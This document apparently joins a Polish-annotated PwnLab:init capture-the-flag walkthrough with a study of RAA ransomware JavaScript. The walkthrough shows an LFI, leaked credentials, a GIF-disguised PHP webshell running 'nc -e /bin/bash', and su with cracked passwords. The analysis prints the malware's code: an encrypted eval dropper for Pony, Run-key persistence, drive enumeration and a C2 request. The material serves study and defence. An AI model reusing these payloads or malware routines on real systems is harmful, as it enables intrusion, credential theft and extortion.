|   Some Capabilities: ConnectWithDatabase, Support41Auth, IgnoreSpaceBeforeParenthesis, SupportsTransactions, LongColumnFlag, LongPassword, Speaks41ProtocolNew, FoundRows, Speaks41ProtocolOld, SupportsLoadDataLocal, DontAllowDatabaseTableColumn, IgnoreSigpipes, InteractiveClient, ODBCClient, SupportsCompression
|   Status: Autocommit
|_  Salt: 0R04T,}UnJfBVk7oLlY[
56877/tcp open  status  1 (RPC #100024)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.53 seconds


1. LFI with php://filter

--- config.php ---

<?php
$server	  = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>


--- login.php ---

<?php
session_start();
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database);

if (isset($_POST['user']) and isset($_POST['pass']))
{
       	$luser = $_POST['user'];
       	$lpass = base64_encode($_POST['pass']);

       	$stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
       	$stmt->bind_param('ss', $luser, $lpass);

       	$stmt->execute();
       	$stmt->store_Result();

       	if ($stmt->num_rows == 1)
       	{
       		$_SESSION['user'] = $luser;
       		header('Location: ?page=upload');
       	}
       	else
       	{
       		echo "Login failed.";
       	}
}
else
{
       	?>
       	<form action="" method="POST">
       	<label>Username: </label><input id="user" type="test" name="user"><br />
       	<label>Password: </label><input id="pass" type="password" name="pass"><br />
       	<input type="submit" name="submit" value="Login">
       	</form>
       	<?php
}


--- index.php ---

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
       	include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
       	if (isset($_GET['page']))
       	{
       		include($_GET['page'].".php");
       	}
       	else
       	{
       		echo "Use this server to upload and share image files inside the intranet";
       	}
?>
</center>
</body>
</html>

--- upload.php ---

<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
       	<body>
       		<form action='' method='post' enctype='multipart/form-data'>
       			<input type='file' name='file' id='file' />
       			<input type='submit' name='submit' value='Upload'/>
       		</form>
       	</body>
</html>
<?php
if(isset($_POST['submit'])) {
       	if ($_FILES['file']['error'] <= 0) {
       		$filename  = $_FILES['file']['name'];
       		$filetype  = $_FILES['file']['type'];
       		$uploaddir = 'upload/';
       		$file_ext  = strrchr($filename, '.');
       		$imageinfo = getimagesize($_FILES['file']['tmp_name']);
       		$whitelist = array(".jpg",".jpeg",".gif",".png");

       		if (!(in_array($file_ext, $whitelist))) {
       			die('Not allowed extension, please upload images only.');
       		}

       		if(strpos($filetype,'image') === false) {
       			die('Error 001');
       		}

       		if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
       			die('Error 002');
       		}

       		if(substr_count($filetype, '/')>1){
       			die('Error 003');
       		}

       		$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

       		if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
       			echo "<img src=\"".$uploadfile."\"><br />";
       		} else {
       			die('Error 4');
       		}
       	}
}

?>


mysql> select * from users;
+------+------------------+
| user | pass             |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
3 rows in set (0.01 sec)

mysql>



upload shella:


POST /?page=upload HTTP/1.1
Host: 192.168.1.2
Content-Length: 338
Cache-Control: max-age=0
Origin: http://192.168.1.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2849.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzKu7nqA1OjocdZOH
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.1.2/?page=upload
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: PHPSESSID=gesnddmtnmh14qvciakpjictp1
Connection: close

------WebKitFormBoundaryzKu7nqA1OjocdZOH
Content-Disposition: form-data; name="file"; filename="pwnlab.gif"
Content-Type: image/gif

GIF89ae
<?php system('nc -l -p 4444 -e /bin/bash &');?>

------WebKitFormBoundaryzKu7nqA1OjocdZOH
Content-Disposition: form-data; name="submit"

Upload
------WebKitFormBoundaryzKu7nqA1OjocdZOH--


uruchomienie shella:


GET /?page=upload HTTP/1.1
Host: 192.168.1.2
Content-Length: 0
Cache-Control: max-age=0
Origin: http://192.168.1.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2849.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.1.2/?page=login
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: PHPSESSID=gesnddmtnmh14qvciakpjictp1;lang=../upload/8986bd4a045ea87e2d439d2e5ed97feb.gif
Connection: close



gain access on remote machine:



bl4de:~/playground $ nc -vv 192.168.1.2 4444
found 0 associations
found 1 connections:
     1:	flags=82<CONNECTED,PREFERRED>
       	outif en0
       	src 192.168.1.11 port 65273
       	dst 192.168.1.2 port 4444
       	rank info not available
       	TCP aux info available

Connection to 192.168.1.2 port 4444 [tcp/krb524] succeeded!
ls -lA
total 20
-rwxr-xr-x 1 www-data www-data  105 Mar 16 23:32 config.php
drwxr-xr-x 2 www-data www-data 4096 Mar 17 10:21 images
-rwxr-xr-x 1 www-data www-data  623 Mar 16 23:30 index.php
-rwxr-xr-x 1 www-data www-data  832 Mar 17 11:56 login.php
lrwxrwxrwx 1 root     root        5 Mar 17 12:03 upload -> /tmp/
-rwxr-xr-x 1 www-data www-data 1339 Mar 16 23:32 upload.php

python -c 'import pty; pty.spawn("/bin/bash")'
www-data@pwnlab:/var/www/html$ ls -lA
ls -lA
total 20
-rwxr-xr-x 1 www-data www-data  105 Mar 16 23:32 config.php
drwxr-xr-x 2 www-data www-data 4096 Mar 17 10:21 images
-rwxr-xr-x 1 www-data www-data  623 Mar 16 23:30 index.php
-rwxr-xr-x 1 www-data www-data  832 Mar 17 11:56 login.php
lrwxrwxrwx 1 root     root        5 Mar 17 12:03 upload -> /tmp/
-rwxr-xr-x 1 www-data www-data 1339 Mar 16 23:32 upload.php
www-data@pwnlab:/var/www/html$ uptime
uptime
 17:06:59 up 1 day,  2:12,  0 users,  load average: 0.00, 0.01, 0.05
www-data@pwnlab:/var/www/html$ uname -a
uname -a
Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) i686 GNU/Linux
www-data@pwnlab:/var/www/html$ cat /etc/motd
cat /etc/motd

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
www-data@pwnlab:/var/www/html$ clear



passwords:

kent JWzXuBJJNy
mike SIfdsTEn6I
kane iSv5Ym2GRo




www-data@pwnlab:/var/www$ su kent
su kent
Password: JWzXuBJJNy

kent@pwnlab:/var/www$ whoami
whoami
kent
kent@pwnlab:/var/www$ cd ~
cd ~
kent@pwnlab:~$ ls -lA
ls -lA
total 12
-rw-r--r-- 1 kent kent  220 Mar 17 10:06 .bash_logout
-rw-r--r-- 1 kent kent 3515 Mar 17 10:06 .bashrc
-rw-r--r-- 1 kent kent  675 Mar 17 10:06 .profile
kent@pwnlab:~$


kent@pwnlab:~$ su kane
su kane
Password: iSv5Ym2GRo

kane@pwnlab:/home/kent$ cd ~
cd ~
kane@pwnlab:~$ ls -lA
ls -lA
total 20
-rw-r--r-- 1 kane kane  220 Mar 17 10:09 .bash_logout
-rw-r--r-- 1 kane kane 3515 Mar 17 10:09 .bashrc
-rwsr-sr-x 1 mike mike 5148 Mar 17 13:04 msgmike
-rw-r--r-- 1 kane kane  675 Mar 17 10:09 .profile
kane@pwnlab:~$


Reszta:
http://blog.safetechinnovations.com/challenges/pwnlabinit-walkthrough/









================================================
FILE: raa-ransomware-analysis/README.md
================================================
## RAA Ransomware JavaScript code analysis

On 14th of June 2016 while checking Twitter I spotted an information about new ransomware called RAA Ransomware. Couple of websites mentioned about it as first ransomware created only by using JavaScript.

Following some links provided by Polish malware analyst **@hasherezade** (https://github.com/hasherezade, https://twitter.com/hasherezade) I've downloaded RAA JavaScript source code from malwr.com (https://malwr.com/analysis/YmE4MDNlMzk2MjY3NDdlYWE1NzFiOTNlYzVhZTlkM2Y/) to take a look at its internals.

# Table of Contents

- [RAA Ransomware JavaScript code analysis](#raa-ransomware-javascript-code-analysis)
	- [What is this writeup about?](#what-is-this-writeup-about)
- [Analysis](#analysis)
	- [Some first thoughts](#some-first-thoughts)
	- [Splitting code into separate parts](#splitting-code-into-separate-parts)
- [How RAA JavaScript works](#how-raa-javascript-works)
	- [Execution flow graph](#execution-flow-graph)
	- [The beginning](#the-beginning)
	- [Here comes the Pony](#here-comes-the-pony)
	- [Modify Windows registry](#modify-windows-registry)
	- [Connect to the server](#connect-to-the-server)
	- [Identify drives, folders and files](#identify-drives-folders-and-files)
	- [Last step - encryption of files](#last-step---encryption-of-files)
	- [End of the process](#end-of-the-process)
- [Summary](#summary)
	- [Get in touch maybe?](#get-in-touch-maybe)
- [Links, references](#links-references)


--

### What is this writeup about?

As this is my very first time I was analyzing malicious code (and its worst type - ransomware) - if you're experienced Reverse Engineer or Malware Analysis - you may feel that a lot of things/details is missing here. Please, forgive me.

This writeup is focused mostly on how JavaScript works in RAA rather than on details of eg. modifying Windows Registry. But as there's a lot of Windows Script Host API used here, I've added reference links for couple of interesting resources, mostly on MSDN pages, if someone will want to dig a little bit more.

File **raa.js** contains original content of RAA downloaded from malwr.com. Other folders and files contains eg. extracted RTF files or parts of RAA code which I've created and executed "on the fly" to find how exactly some parts of the code works.

When I've started to work on this, I've tried to refactor variables and function names to something more meaningful. Unfortunately, this did not help much, so I decided not to do this at all. Original names have the same impact on code readability.


## Analysis

### Some first thoughts

For someone like me, who works with JavaScript for eight to ten hours every day and sleeps with ES6 book under the pillow - RAA source code looks like one, big mess. There are even labels used in code to immediately jump off out of the loop (good old Basic GOTO is the grandpa of this). I'll explain how it works when analyzing one of RAA functions below.

Unfortunately, this messy, spaghetti code just does its job. And no Pokemon to catch here after all...

--

### Splitting code into separate parts

First look at source of RAA (see **raa.js** file) reveals three main part of the code:


```javascript
/*
	CryptoJS library
	lines from 1 to 482
*/

/*
	main ransomware logic
	lines from 485 to 1082
*/


/*
	part where first malicious RTF is created
	lines from 1083 to the end of file
*/

```



RAA contains 3rd party library, used for all encoding and encryption  purposes. It's **CryptoJS** library (source code available here https://code.google.com/archive/p/crypto-js/ or GitHub fork here https://github.com/sytelus/CryptoJS).

Analysis of CryptoJS is not a part of this writeup - as originally this library is not a part of RAA :) 


## How RAA JavaScript works


### Execution flow graph

Next paragraphs describe in details each function of RAA. Here's a very simplified execution flow chart how they all are executed, starting from the very beginning. For now it does not look good. Every function and variable name is just some random string and there's no way to know what does function or variable responsible for.

```javascript
// Execution flow of RAA

	
	YUIMqkFkI()
		|
		|
		v
	nYuMHHRx()
	NWvQtGjjfQX()
		|
		v
	zQqUzoSxLQ() ---> HxBG()
						|
						|
						v
					try {
						uTNMmZ() --------
					} catch {			|
						izzU()			|
					}	  |				|
						  |				|
					      |				v
						  |			NdpcNJVAPrNj()
						  |				|
						  |				v
						  |<-----------izzU()
						  |
						  v
					iKTzQKbfDJs()
					      |
					      v
	 				PLnEyqCPKHV()
					      v
					nXmsNjMpKTv()
				   	do {
						KWgwJwOlqJcs(file_to_encrypt)
					} while (files_to_encrypt)




```

Now, it's time to go through every line of RAA code.

--
### The beginning

First executable line of script is this assigment:

```javascript
var TBucypWw = YUIMqkFkI();
```

**TBucypWw** is the variable which contains key generated by **YUIMqkFkI()** function - it is used in other parts of the code.

Let's take a look at **YUIMqkFkI()** logic:

```javascript
function YUIMqkFkI() {
    var TBucypWw = "";
    var WKQttPJDfsQE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
    for (var i = 0; i < 5; i++)
        TBucypWw += WKQttPJDfsQE.charAt(Math.floor(Math.random() * WKQttPJDfsQE.length));
    return TBucypWw;
}
```

This fragment just generates a string which contains five characters randomly chosen from **WKQttPJDfsQE** string. In this writeup, to understand its meaning, how and where it's used, I assigned _**xW5Gf**_ as generated value of **TBucypWw** variable.

--

### Here comes the Pony.

Next executable fragment is this part:

```javascript
var Yvwtdbvd = WScript.Arguments;
if (Yvwtdbvd.length == 0) {
    nYuMHHRx();
    NWvQtGjjfQX();
} else {
    null;
}
```


And this is the place here's RAA starts its work. After script checks if there are any arguments passed (let's assume that there aren't any) **nYuMHHRx()** is executed (I've truncated content of **tpcVJWrQG** here): 


```javascript
function nYuMHHRx() {
    var tpcVJWrQG = "e1xy(...)OBBSDIO==";
    tpcVJWrQG = tpcVJWrQG.replace(/BBSDIO/g, "A");
    var clear_tpcVJWrQG = CryptoJS.enc.Base64.parse(tpcVJWrQG);
    var CLWSNdGnlGf = clear_tpcVJWrQG.toString(CryptoJS.enc.Utf8);
    CLWSNdGnlGf = CLWSNdGnlGf.replace(/BBSDIO/g, "A");
    var RRUm = new ActiveXObject('ADODB.Stream');
    var GtDEcTuuN = WScript.CreateObject("WScript.shell");
    var TkTuwCGFLuv_save = GtDEcTuuN.SpecialFolders("MyDocuments");
    TkTuwCGFLuv_save = TkTuwCGFLuv_save + "\\" + "doc_attached_" + TBucypWw;
    RRUm.Type = 2;
    RRUm.Charset = "437";
    RRUm.Open();
    RRUm.WriteText(CLWSNdGnlGf);
    RRUm.SaveToFile(TkTuwCGFLuv_save);
    RRUm.Close();
    var run = "wordpad.exe " + "\"" + TkTuwCGFLuv_save + "\"";
    GtDEcTuuN.Run(run);
    return 0;
}
```

Let's go through it step by step.

**tpcVJWrQG** contains very long Base64 encoded string. After a couple of operations with Regular Expressions and CryptoJS methods calls - finally we get RTF document (see **extracted/extracted_rtf.rtf** file)

Then, those two lines use Windows Script Host methods to create some objects, one for creating file, second for creating an instance of executable shell:

```javascript
var RRUm = new ActiveXObject('ADODB.Stream');
var GtDEcTuuN = WScript.CreateObject("WScript.shell");
```

This line:

```javascript
RRUm.Charset = "437";
```

allows JavaScript and _ADODB.Stream_ object to treat any binary data as string.
This definition is used across all RAA codebase many times.

Next, a file is created with following path:

```
\MyDocuments\doc_atatched_xW5Gf
```

Content of previously generated RTF file is then saved at this path.

Finally, following command is prepared:

```
var run = wordpad.exe "\MyDocuments\doc_atatched_xW5Gf"
```

and executed by Windows Script Host using method Run():

```
GtDEcTuuN.Run(run);
```
( reference: https://msdn.microsoft.com/en-us/library/d5fk67ky(v=vs.84).aspx )

As a result, RTF document is displayed with some error message:

![RTF document](extracted/extracted_rtf_screen.png)


Next function is **NWvQtGjjfQX()** (I've truncated content of **data_pn** here): 


```javascript
function NWvQtGjjfQX() {
    var data_pn = "TVrDiQNMSFE(...)QQURE";

    var cmd = "U2FsdGVkX1/LHQl+aIAo/hXHDEI5YmZZtBIcL5LHq7o+NZyTxtiLAxCsucmN0NBq12nnNJ7XOCyeXqF9xLAkahyIcXx5oc/ic5FRpoj+tZ1qywTZNhPWMlRllGn8O8viVnpXMYHoJr/AphGHfaAOkX8xYjuWhZE8qw1Qw1vQbqdbMlv5RL3xTETBgbylCgyGER91Kef4Q/2YtokOqzg+0BZIjKpdIbr1jQdh8uwp9MKd+Y9dSm1Lz9dl82QJVVbFiBj7N6MEDCw5JESVi5HilHWFEb3eyacdJBxYtKutbAZBOl6aJrLyxKtlxm4o9Cie5+vIPgMtqHEmBWp9GaqYDQlxXXOuTeysry1LXQiCGP7msk2hqAOEhyfxchlAQuma4twTFqHOrPZDECk8hfVJkBvUZg/hl+y4gKbBBLVDEIlKW9AstpcAP6FOcTt/bsS+0fvHnl1fAtMB1AsBSHKhZX/6eMPBGQBQT5fqvyy8MLyMgLOsCt5XHyEgc2ecU1fDokpzzMxMqIPwFZoQDOZSg/pBOMVTyUHuv18WdWI+Q6lppzIUv4mvxEioH7SROiDFqJoHR4EwIdDO0QR82Q4RTTIWO9CfXkC5VnXlEncsU45rIzfEMDv4r1aqoYQlgFr6xjas0/e7+EVCoxhsp4C2Jta43NmC6uLnhjcWRdCcB/8=";
    var key_cmd = "2c025c0a1a45d1f18df9ca3514babdbc";
    var dec_cmd = CryptoJS.AES.decrypt(cmd, key_cmd);
    dec_cmd = CryptoJS.enc.Utf8.stringify(dec_cmd);
    eval(dec_cmd);
    return 0;
}
```

This function executes code with _eval()_ call...

```javascript
	eval(dec_cmd);
```

...which comes from decrypted **cmd** (with **key_cmd** key):

```javascript
	var key_cmd = "2c025c0a1a45d1f18df9ca3514babdbc";
    var dec_cmd = CryptoJS.AES.decrypt(cmd, key_cmd);
    dec_cmd = CryptoJS.enc.Utf8.stringify(dec_cmd); 
```


This code contains following instructions:

```javascript
var flo = new ActiveXObject ("ADODB.Stream");
var runer = WScript.CreateObject("WScript.Shell");
var wher = runer.SpecialFolders("MyDocuments");
wher = wher + "\\" + "st.exe";
flo.CharSet = "437";
flo.Open();
var pny = data_pn.replace(/NMSIOP/g, "A");
var pny_ar = CryptoJS.enc.Base64.parse(pny);
var pny_dec = pny_ar.toString(CryptoJS.enc.Utf8);
flo.Position = 0;
flo.SetEOS;
flo.WriteText(pny_dec);
flo.SaveToFile(wher, 2);
flo.Close;
wher = "\"" + wher + "\"";
runer.Run(wher);
```

Again, new ActiveXObject is created, named **flo**, and Windows Script Host Shell to execute file called **st.exe**:

Then, **data_pn** from **NWvQtGjjfQX()** is decrypted and new file is created "on the fly":

```javascript
var pny = data_pn.replace(/NMSIOP/g, "A");
var pny_ar = CryptoJS.enc.Base64.parse(pny);
var pny_dec = pny_ar.toString(CryptoJS.enc.Utf8);
```
I saved this file in extracted/ folder as **file01**. As I found here - https://reaqta.com/2016/06/raa-ransomware-delivering-pony/ - it contains malware called Pony (http://www.mcafee.com/threat-intelligence/malware/default.aspx?id=105468). After I found this information I've realized that its code comes from variable called **pny** (PoNY) Nice naming convention... :)

Next, Pony is saved to file with previously created ADODB.Stream ActiveX object and executed.
You can find more information about Pony here: https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/

--

### Modify Windows registry

Next function sets entry in Windows HKCU\Software\Microsoft\Windows\\CurrentVersion\Run\ registry key.

It uses _WScript.Shell_ object from Windows Script Host. It allows to read Windows registry entries (with _RegRead_ method - see https://msdn.microsoft.com/en-us/library/x05fawxd(v=vs.84).aspx).

```javascript
function zQqUzoSxLQ() {
    var QCY;
    var kHkyz = WScript.CreateObject("WScript.Shell");
    try {
        kHkyz.RegRead("HKCU\\RAA\\Raa-fnl\\");
    } catch (e) {
        QCY = 0;
    }
    var lCMTwJKZ = [];
    var baZk = "wscript.exe";
    var AFtKLHIjDtkM = 0;
    var e = new Enumerator(GetObject("winmgmts:").InstancesOf("Win32_process"));
    for (; !e.atEnd(); e.moveNext()) {
        var p = e.item();
        lCMTwJKZ = lCMTwJKZ + p.Name + ",";
    }
    lCMTwJKZ = lCMTwJKZ.split(",");
    var jcayrm = -1;
    do {
        jcayrm += 1;
        if (lCMTwJKZ[jcayrm] == baZk) {
            AFtKLHIjDtkM = AFtKLHIjDtkM + 1;
        } else {
            null
        }
    } while (jcayrm < lCMTwJKZ.length);
    if (AFtKLHIjDtkM < 2 && QCY == 0) {
        var TKVUdGUkzCmE = WScript.ScriptFullName;
        TKVUdGUkzCmE = TKVUdGUkzCmE + " argument";
        var qPOGRFfINeNb = WScript.CreateObject("WScript.Shell");
        qPOGRFfINeNb.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", TKVUdGUkzCmE, "REG_SZ");
        HxBG();
    } else {
        null;
    }
    return 0;
}
```

At the beginning, code checks if there's an entry in Windows registry at _HKCU\RAA\Raa-fnl_ path. If not, **QCY** variable is set to 0.

Next couple of lines check list of run processes:

```javascript
// e is an iterator which allows to enumerate running processes
var e = new Enumerator(GetObject("winmgmts:").InstancesOf("Win32_process"));
```

Last part of the function checks if there are currently running **wscript.exe** processes and, under some conditions (eg. if previous _check_ is equal to 0) adds new Registry value under _HKCU\Software\Microsoft\Windows\CurrentVersion\Run\\_ key, then **HxBG()** function is run.

--

### Connect to the server

Last part of RAA code contains two very long functions, **HxBG()** and **izzU()**

First, let's take a look at **izzU()**. 

It starts from generating GUID, from within string contains 36 chars is cut and assigned to **cVjZujcP**. This value is used later.

```
Globally Unique Identifier or GUID is a 128-bit integer (16 bytes) 
that is used by some software applications across all computers and 
networks in order to provide a reference number which is unique or 
to identify a particular component. Because of this there's a very 
low probability that any two or more component has the same value.

GUID is also used in Windows Registry.

More info:
https://msdn.microsoft.com/en-us/library/windows/desktop/aa373931(v=vs.85).aspx

```

Here's the code which generates GUID:

```javascript
 var FknDierotSzK = new ActiveXObject("Scriptlet.TypeLib");
 var cVjZujcP = FknDierotSzK.GUID.substr(1, 36);
```

Next thing is to initialize **KrvABjTTXNS** array with values read from remote server. Function **get_HZtSmFNRdJM()**, which is responsible for this part, contains hardcoded url, with **id** argument passed via GET:

```javascript
var VuSD = cVjZujcP + " - RAA";
var MOSKn = [];
MOSKn[0] = "http://startwavenow.com/cmh" + "/mars.php?id=" + VuSD;
```

Server IP address (188.40.248.65) is a part of a network located in Germany (?), owned by Romanian hosting company THC Projects. Those information were valid on 14.07.2016, when this part of my writeup was created.


```

% Abuse contact for '188.40.248.64 - 188.40.248.95' is 'abuse@hetzner.de'

inetnum:        188.40.248.64 - 188.40.248.95
netname:        HOS-131355
descr:          HOS-131355
country:        DE
admin-c:        STPS1-RIPE
tech-c:         STPS1-RIPE
status:         ASSIGNED PA
mnt-by:         HOS-GUN
created:        2015-07-21T01:16:26Z
last-modified:  2015-07-21T01:16:26Z
source:         RIPE # Filtered

person:         SC THC Projects SRL
address:        str complexului 3
address:        207206 Carcea
address:        ROMANIA
phone:          +40743216666
nic-hdl:        STPS1-RIPE
remarks:        For abuse contact abuse@thcservers.com or visit https://www.thcservers.com
abuse-mailbox:  abuse@thcservers.com
mnt-by:         HOS-GUN
created:        2014-11-30T13:42:54Z
last-modified:  2014-11-30T13:42:54Z
source:         RIPE # Filtered
```


I could not check what server returns, because this particular account was suspended. In next line, _ServerXMLHTTP_ object is created to communicate with remote machine. Next couple of lines set timeouts for **req** object (see https://msdn.microsoft.com/en-us/library/ms760403(v=vs.85).aspx for details):

```javascript
var req = new ActiveXObject("Msxml2.ServerXMLHTTP.6.0");
var QSJCTxMMl = 15000;
var bFPwcaPNy = 15000;
var zarI = 15000;
var olWVonsDzH = 15000;
req.setTimeouts(QSJCTxMMl, bFPwcaPNy, zarI, olWVonsDzH);
```

Following code uses Ajax HTTP GET call to receive some data from remote machine:

```javascript
(...)
var MOSKn = [];
MOSKn[0] = "http://startwavenow.com/cmh" + "/mars.php?id=" + VuSD;
(...)
var pointer_MOSKn = -1;
var aka;
do {
    pointer_MOSKn += 1;
    if (pointer_MOSKn <= 0) {
        pointer_MOSKn = pointer_MOSKn;
    } else {
        pointer_MOSKn = 0;
        WScript.Sleep(60000);
    }
    try {
        req.open("GET", MOSKn[pointer_MOSKn], false);
        req.send();
        aka = req.responseText.split(',');
    } catch (e) {
        aka = 0;
    }
} while (aka == 0);
return aka;
```

If we take a look at this fragment a little bit closer, it does not have a lot of sense. Take a look at how **MOSKn** array is used - only its first element is initalized and then, inside _do...while()_ loop, only 0 index is in use (if we follow  **pointer_MOSKn**, its value is always 0).

Because **aka** value changes after first request, I couldn't check what exactly is returned as startwavenow.com domain was already suspended and url does not respond, but I found an information in ReaQta writeup that there were some values used in encryption phase later - see https://reaqta.com/2016/06/raa-ransomware-delivering-pony/ for more details. 

After **get_HZtSmFNRdJM()** function there's code assigns returned values to an array:

```javascript
var KrvABjTTXNS = [];
KrvABjTTXNS = get_HZtSmFNRdJM();
var VKw = KrvABjTTXNS[0];
var jOnaTnksWb = KrvABjTTXNS[1];
```

--

### Identify drives, folders and files

Next executable fragment of the code contains another array initialization and assignment result of **kth()** function to its first element:

```javascript
var kAgTDYi = [];
kAgTDYi[0] = kth();
```

So let's see now what is going on inside **kth()**:


```javascript
function kth() {
    var DmYbWSaT, s, n, e, sNaZfrOWc;
    DmYbWSaT = new ActiveXObject("Scripting.FileSystemObject");
    e = new Enumerator(DmYbWSaT.Drives);
    s = [];
    RKsqOBz:   for (; !e.atEnd(); e.moveNext()) {
        sNaZfrOWc = e.item();
        if (sNaZfrOWc.IsReady) {
            sNaZfrOWc = sNaZfrOWc += "\\\\";
            s.push(sNaZfrOWc);
        } else
            continue RKsqOBz;
    }
    return (s);
}

```

This is the first function where I found real example of how labels can be used to immediately escape from _for_ loop. ```continue RKsqOBz;``` instruction causes JavaScript interpreter to immediately jump off the loop, right to ```RKsqOBz:``` label definition.

This language construct is equivalent to other languages _goto_ instruction. It's not a good habit to use such instructions as it's hard to follow execution flow of the program and is very error prone. And, if the code is well organized, it's absolutely unnecessary to use any _goto_-like construct. But I am pretty sure that those arguments aren't accurate for RAA.
    
You can read more about how to use labels in JavaScript here: http://devdocs.io/javascript/statements/label

Ok, go back to our function.

At the beginning there's _FileSystemObject_ created. As we can find on MSDN documentation page:

```
Main object. Contains methods and properties that allow you to 
create, delete, gain information about, and generally manipulate 
drives, folders, and files. Many of the methods associated with this 
object duplicate those in other FSO objects; they are provided for 
convenience.
```
(https://msdn.microsoft.com/en-us/library/95dtkhsz(v=vs.84).aspx)

Then, _Enumerator_ property is instantiated and standard method to detect all drives is used (you can follow similar example on https://msdn.microsoft.com/en-us/library/832c8c0x(v=vs.84).aspx)
Finally, array contains all drives letters is returned.


Next fragment which is executed is:

```javascript
iKTzQKbfDJs();
kAgTDYi[1] = [];
```


Function **iKTzQKbfDJs()** calls two other functions, **OFTEml()** and **YlDrqb()** - let's follow both of them to get the final result of their execution:

```javascript
function iKTzQKbfDJs() {
    var mItZKEXYwE = [];
    mItZKEXYwE = kAgTDYi[0];
    mItZKEXYwE = OFTEml(mItZKEXYwE);
    var rjTvWjMKnGpI = -1;
    do {
        rjTvWjMKnGpI += 1;
        YlDrqb(mItZKEXYwE[rjTvWjMKnGpI]);
    } while (rjTvWjMKnGpI < mItZKEXYwE.length - 1);
    return 0
}
```

First, **mItZKEXYwE** array is created and its value is simply the first element of **kAgTDYi**, which is previously returned list of drives from **kth()** .
This array contains drives letters is passed as an argument to function **OFTEml()**:


```javascript
function OFTEml(array_to_clean) {
    var pjvsEz = new Array();
    for (var i = 0; i < array_to_clean.length; i++) {
        if (array_to_clean[i]) {
            pjvsEz.push(array_to_clean[i]);
        }
    }
    return pjvsEz;
}

```

This short function returns all not empty (eg. strings like "") elements from array passed as argument.

Next function **YlDrqb()**, is called for every element of cleaned by **OFTEml()** array (in other words: is executed for each drive)

```javascript
function YlDrqb(kth) {
    var gg = new ActiveXObject("Scripting.FileSystemObject");
    var dir = kth + "!!!README!!!" + TBucypWw + ".rtf";
    var d2 = gg.CreateTextFile(dir, true);
    d2.Write(VGCDtihB());
    d2.Close();
    return 0;
}
```
Again, _FileSystemObject_ is used to create file with following example name on each drive, and it writes to those files content created by function **VGCDtihB()**:

```
C!!!README!!!xW5Gf.rtf
```

Why **xW5Gf** in filename? Remember function which generates random key, from the very beginning of RAA execution? Here's where this key is used (see 'The beginning' above).

Function **VGCDtihB()** generates another _rtf_ file with ransomware payment note - you can see this file on ReaQta writeup (https://reaqta.com/wp-content/uploads/2016/06/RAA_Ransomware_build_refund_file.png - as I was not able to generate those files on my machine)


```javascript

function VGCDtihB() {
    var rftKZajp = "e1xydG(...)QoRAASEP";
    var cUNSPAqZAE = rftKZajp.replace(/RAASEP/g, "A");
    cUNSPAqZAE = CryptoJS.enc.Base64.parse(cUNSPAqZAE);
    cUNSPAqZAE = cUNSPAqZAE.toString(CryptoJS.enc.Utf8);
    cUNSPAqZAE = cUNSPAqZAE.replace(/=IDHERE=/g, cVjZujcP);
    cUNSPAqZAE = cUNSPAqZAE.replace(/=ADRHERE=/g, jOnaTnksWb);
    return cUNSPAqZAE;
}
``` 

As you can see, it uses similar method as for first _rtf_ file: some simple Base64 string manipulation with couple of replace() function with Regular Expression calls.


Next, there is **PLnEyqCPKHV()** function call, which is the main loop encrypting each file through **KWgwJwOlqJcs()** function described later:

```javascript
function PLnEyqCPKHV() {
    var sNaZfrOWc = nXmsNjMpKTv(kAgTDYi);
    var NBMCuybDY = -1;
    iFIS:do {
        NBMCuybDY += 1;
        try {
            KWgwJwOlqJcs(sNaZfrOWc[NBMCuybDY]);
        } catch (e) {
            continue iFIS;
        }
    } while (NBMCuybDY <= sNaZfrOWc.length - 2);
    return 0
}

PLnEyqCPKHV();
```

**sNaZfrOWc** array is initialized by **nXmsNjMpKTv()** function, with our previously generated list of drives **kAgTDYi** from **kth()** function:

```javascript
function nXmsNjMpKTv(kAgTDYi) {
    var EPtLPm = -1;
